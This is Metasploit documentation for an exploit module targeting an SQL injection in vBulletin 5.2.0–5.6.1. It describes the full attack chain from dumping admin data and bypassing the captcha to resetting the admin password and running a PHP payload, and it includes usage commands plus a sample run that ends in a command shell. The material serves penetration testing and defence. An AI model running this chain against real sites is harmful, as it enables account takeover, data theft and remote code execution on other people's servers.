metasploit-framework/documentation/modules/exploit/multi/http/vbulletin_getindexableconte...

9.7 KiB

Vulnerable Application

vBulletin A popular PHP bulletin board and blog web application. This module has been tested successfully against vBulletin 5.6.1 running on Ubuntu Linux 19.04

Description

This module exploits a SQL injection vulnerability present in vBulletin 5.2.0 through 5.6.1 in the getIndexableContent function. This vulnerability is triggered through the nodeId variable and can be reached through multiple paths (listed below) but is exploited in this module utilizing the /ajax/api/content_infraction/getIndexableContent path.

  • /ajax/api/content_video/getIndexableContent
  • /ajax/api/content_text/getIndexableContent
  • /ajax/api/content_report/getIndexableContent
  • /ajax/api/content_redirect/getIndexableContent
  • /ajax/api/content_privatemessage/getIndexableContent
  • /ajax/api/content_poll/getIndexableContent
  • /ajax/api/content_photo/getIndexableContent
  • /ajax/api/content_link/getIndexableContent
  • /ajax/api/content_infraction/getIndexableContent
  • /ajax/api/content_gallery/getIndexableContent
  • /ajax/api/content_event/getIndexableContent
  • /ajax/api/content_channel/getIndexableContent
  • /ajax/api/content_attach/getIndexableContent

Each path listed above reaches the getIndexableContent function within the /core/vb/library/content.php file. The SQL injection attack used utilizes a UNION query in order to leak data back in the response rawtext field.

Leveraging getContentIndexable SQL injection for RCE

The exploit begins by attempting to get a nodeid for use in the SQL injection attack, this can be supplied by the user within the NODE module option, or if not supplied, the value is brute-forced within the bounds of the MINNODE and MAXNODE module options. After acquiring a valid nodeid, the exploit attempts to obtain the vBulletin install's table prefix. This is done by using the getIndexableContent SQL injection vulnerability to query the INFORMATION_SCHEMA table and get a result we expect (to determine if there is a prefix attached). In the module we use the language table for this process. After getting the table prefix we can begin dumping the table data, we start with the administrator user id, username, token, and email. These are used later in the process to make a lost password request and can also be used to backup the administrator user's data prior to the destructive change that will happen when the password is changed later in the module. After acquiring the administrator info the script begins the to gather other pieces needed to submit a lost password request. This part can vary between installs but involves a form of "human verification" along with an administrator's email. The module will attempt to determine the human verification (or captcha) type, then determine if a bypass or solve is possible. There are 4 total types of human verification, an image (GD or ImageMagic based), a Question/Answer (which is stored as a regular expression), Recaptcha2 (an external api based captcha), and disabled.

  • If an Image (GD or ImageMagic based) human verification is selected, the module can bypass it and requires no interaction. This is done by querying the database for the image contents using the SQL injection vulnerability.

  • If the Question/Answer human verification is selected, the module will attempt to submit the answer retrieved from the database utilizing the SQL injection vulnerability. This can sometimes fail and require manual intervention if a complex regular expression is used but the answer is provided through the modules output.

  • If the Recaptcha2 human verification method is selected, the module will fail with a message along with an administrators email to use for a lost password request.

  • If Disabled is chosen, the script will work without action.

After bypassing the human verification the script will attempt to send a lost password request, this will send an email to the administrator. If the human verification request fails, the module can be configured to skip the human verification and lost password steps. This is done by setting the modules MANUALLOSTPASS option to true, this however does require that just prior to running the exploit the lost password request is made. If the administrator completes the request, the activation token will be removed from the database and the next step of the reset will fail. After the lost password request is made, the module then attempts to retrieve the Activation ID from the database using the SQL injection vulnerability. When all of the above is completed, the administrators password can finally be reset. The password is changed to a random 10-16 character alphanumeric password which is displayed in the modules output.

The module can now begin to leverage the administrator access for remote command execution. This begins by first creating a new widget instance, this widget instance is of a widget_php type (a special type that allows for php code embedded within). After the widget instance is created, the module then attempts to modify the widget to add our selected payload. The widget is then ready to use and is added to a new page. This page is created with a randomly generated 10 to 16 character alphanumeric url. The payload and attack is then ready to execute and the module makes a final request in the attack process to execute the PHP payload. Upon successful completion, the page is deleted from the vBulletin install.

Verification Steps

  1. Do: use exploit/multi/http/vbulletin_getindexablecontent
  2. Do: set RHOSTS [IP]
  3. Do: set VHOST [HOSTNAME]
  4. Do: set TARGETURI [PATH]
  5. Do: set PAYLOAD [PAYLOADNUM]
  6. Do: run

Options

MANUALLOSTPASS

A boolean value used to determine if the lost password request should be automated or will be performed manually. Default: false

NODE

A valid node id value for the vBulletin install. When provided, this value is used instead of that acquired by brute-forcing.

MINNODE

A minimum nodeid value to begin with when brute-forcing for a valid node id. Default: 1

MAXNODE

A maximum nodeid value to end with when brute-forcing for a valid node id. Default: 200

TARGETURI

The base URI path of vBulletin. Default: /

Scenarios

msf5 > use exploit/multi/http/vbulletin_getindexablecontent 
msf5 exploit(multi/http/vbulletin_getindexablecontent) > set RHOSTS vb.local
RHOSTS => vb.local
msf5 exploit(multi/http/vbulletin_getindexablecontent) > set VHOST vb.local
VHOST => vb.local
msf5 exploit(multi/http/vbulletin_getindexablecontent) > set TARGETURI /vb5
TARGETURI => /vb5
msf5 exploit(multi/http/vbulletin_getindexablecontent) > set PAYLOAD 2
msf5 exploit(multi/http/vbulletin_getindexablecontent) > check
[*] 192.168.1.100:80 - The target appears to be vulnerable.
msf5 exploit(multi/http/vbulletin_getindexablecontent) > run

[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Brute forcing to find a valid node id.
[+] Successfully found node at id 1
[*] Attempting to determine the vBulletin table prefix.
[*] Performing SQL injection on target to retrieve 'table_name' from 'information_schema.columns'.
[+] Successfully retrieved table to get prefix from vb5_language.
[*] Performing SQL injection on target to retrieve 'userid' from 'vb5_administrator'.
[*] Performing SQL injection on target to retrieve 'username' from 'vb5_user'.
[*] Performing SQL injection on target to retrieve 'token' from 'vb5_user'.
[*] Performing SQL injection on target to retrieve 'email' from 'vb5_user'.
[+] Retrieved administrator uid: 1 user: administrator email: zenofex@exploitee.rs and password: $2y$15$IKz0ra/N2WrJr4BZZMExIOwIET.4Tz8Wni20BMEHjG/A.k9tuOK.W
[*] Sending request to '/vb5/ajax/api/hv/fetchHvType' to get human verification type.
[+] Retrieved HV/captcha type of 'Image'.
[*] Making request to '/vb5/ajax/api/hv/generateToken' to retrieve HV token.
[+] Retrieved '85885c3fafb61b91cb3d2959e13ffe07' human verification token.
[*] Using HV token '85885c3fafb61b91cb3d2959e13ffe07' and SQLinjection to determine HV answer.
[*] Performing SQL injection on target to retrieve 'answer' from 'vb5_humanverify'.
[+] Retrieved '4w8CPc' answer to HV token '85885c3fafb61b91cb3d2959e13ffe07'.
[*] Making request to '/vb5/auth/lostpw' to begin lost password process.
[*] Performing SQL injection on target to retrieve 'activationid' from 'vb5_useractivation'.
[*] Sending reset password request to '/vb5/auth/reset-password'.
[+] User with userid '1' successfully reset password to 'dSxTtxI7yh'.
[*] Making login request to '/vb5/auth/ajax-login' with username: 'administrator' and password: 'dSxTtxI7yh'.
[+] Successfully logged in as administrator .
[*] Making request to '/vb5/ajax/activate-sitebuilder' to activate site-builder functionality.
[+] Successfully enabled site-builder functionality.
[*] Making login request to '/vb5/auth/ajax-login' with username: 'administrator' and password: 'dSxTtxI7yh'.
[+] Successfully logged in as administrator cplogin.
[*] Making request to '/vb5/ajax/api/widget/saveNewWidgetInstance' to create new widget.
[+] Created new widget instance.
[*] Making request to '/vb5/ajax/api/widget/saveAdminConfig' to add payload to widget.
[+] Successfully added payload to widget.
[*] Sending request to '/vb5/admin/savepage' to save new page at 'OToB9nTU'.
[+] Page successfully create and should be accessible at '/vb5/OToB9nTU'.
[+] Executing PHP payload (230 bytes) at /vb5/OToB9nTU.
[*] Sending request to '/vb5/OToB9nTU' to execute payload.
[*] Sending delete page request to '/vb5/ajax/api/page/delete'.
[+] Successfully deleted page with pageid: 148
[*] Started bind TCP handler against 192.168.1.100:4444
[*] Command shell session 1 opened (0.0.0.0:0 -> 192.168.1.100:4444) at 2020-05-22 21:24:42 -0500

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)